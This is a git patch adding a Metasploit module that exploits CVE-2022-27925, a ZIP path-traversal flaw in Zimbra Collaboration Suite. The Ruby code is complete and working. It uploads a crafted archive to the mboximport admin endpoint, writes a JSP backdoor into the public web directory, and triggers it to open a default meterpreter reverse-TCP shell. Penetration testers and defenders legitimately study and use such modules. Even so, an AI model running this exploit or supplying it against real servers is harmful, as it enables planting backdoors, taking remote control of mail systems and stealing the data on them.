From 24460efb778ffe6dfdeed9b2bbe4036375ef4909 Mon Sep 17 00:00:00 2001 From: Ron Bowes Date: Fri, 19 Aug 2022 11:03:47 -0700 Subject: [PATCH] Iniital import of working exploit --- .../http/zimbra_mboximport_cve_2022_27925.rb | 171 ++++++++++++++++++ 1 file changed, 171 insertions(+) create mode 100644 modules/exploits/linux/http/zimbra_mboximport_cve_2022_27925.rb diff --git a/modules/exploits/linux/http/zimbra_mboximport_cve_2022_27925.rb b/modules/exploits/linux/http/zimbra_mboximport_cve_2022_27925.rb new file mode 100644 index 0000000000..9d86bc64ab --- /dev/null +++ b/modules/exploits/linux/http/zimbra_mboximport_cve_2022_27925.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)', + 'Description' => %q{ + This module POSTs a ZIP file containing path traversal characters to + the administrator interface for Zimbra Collaboration Suite. If + successful, it plants a JSP-based backdoor in the public web + directory, then executes that backdoor. + + The core vulnerability is a path-traversal issue in their ZIP + implementation that can extract an arbitrary file to an arbitrary + location on the host. + + This issue is exploitable on the following versions of Zimbra: + + * Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier) + * Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier) + + Note that the Open Source Edition is not affected. + }, + 'Author' => [ + 'Volexity Threat Research', # Initial writeup + "Yang_99's Nest", # PoC + 'Ron Bowes', # Analysis / module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2022-27925'], + ['CVE', '2022-37042'], + ['URL', 'https://blog.zimbra.com/2022/03/new-zimbra-patches-9-0-0-patch-24-and-8-8-15-patch-31/'], + ['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa22-228a'], + ['URL', 'http://www.yang99.top/index.php/archives/82/'], + ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24'], + ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31'], + ], + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [ + [ 'Zimbra Collaboration Suite', {} ] + ], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/', + 'TARGET_FILENAME' => nil, + 'RPORT' => 7071, + 'RPORT_PUBLIC' => 443, + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'Privileged' => false, + 'DisclosureDate' => '2022-05-10', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']), + OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']), + OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: .jsp).']), + OptInt.new('RPORT_PUBLIC', [ false, 'The port used to trigger the payload (typically the main web port, as opposed to the admin port)']), + OptString.new('TARGET_USERNAME', [ true, 'The target user, must be valid on the Zimbra server', 'admin']), + ] + ) + end + + # Generate an on-system filename using datastore options + def generate_target_filename + if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp') + print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?') + end + + File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp") + end + + # Normalize the path traversal and figure out where it is relative to the web root + def zimbra_get_public_path(target_filename) + # Normalize the path + normalized_path = Pathname.new(File.join('/opt/zimbra/log', target_filename)).cleanpath + + # Figure out where it is, relative to the webroot + webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/') + relative_path = normalized_path.relative_path_from(webroot) + + # Hopefully, we found a path from the webroot to the payload! + if relative_path.to_s.start_with?('../') + return nil + end + + relative_path + end + + def exploit + print_status('Encoding the payload as a .jsp file') + payload = Msf::Util::EXE.to_jsp(generate_payload_exe) + + # Create a file + target_filename = generate_target_filename + print_status("Target filename: #{target_filename}") + + # Create a zip file + zip = Rex::Zip::Archive.new + zip.add_file(target_filename, payload) + data = zip.pack + + print_status('Sending POST request with ZIP file') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => "/service/extension/backup/mboximport?account-name=#{datastore['TARGET_USERNAME']}&ow=1&no-switch=1&append=1", + 'data' => data + ) + + # Check the response + if res.nil? + fail_with(Failure::Unreachable, "Could not connect to the target port (#{datastore['RPORT']})") + elsif res.code == 404 + fail_with(Failure::NotFound, 'The target path was not found, target is probably not vulnerable') + elsif res.code != 401 + print_warning("Unexpected response from the target (expected HTTP/401, got HTTP/#{res.code}) - exploit likely failed") + end + + # Get the public path for triggering the vulnerability, terminate if we + # can't figure it out + public_filename = zimbra_get_public_path(target_filename) + if public_filename.nil? + fail_with(Failure::BadConfig, 'Could not determine the public web path, maybe you need to traverse further back?') + end + + register_file_for_cleanup(target_filename) + + print_status("Trying to trigger the backdoor @ #{public_filename}") + + # We plant this backdoor via the admin port (7071), then trigger it + # with the standard HTTPS port (443). The reason is, for whatever reason, + # JSP files planted in the admin directory don't seem to immediately + # be seen by Java, whereas they are in the port-443 service + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(public_filename), + 'rport' => datastore['RPORT_PUBLIC'] + ) + + if res.nil? + fail_with(Failure::Unreachable, "Could not connect to the public port to trigger the payload (#{datastore['RPORT_PUBLIC']})") + elsif res.code == 200 + print_good('Successfully triggered the payload') + else + fail_with(Failure::Unknown, "Could not connect to the server to trigger the payload: #{res}") + end + end +end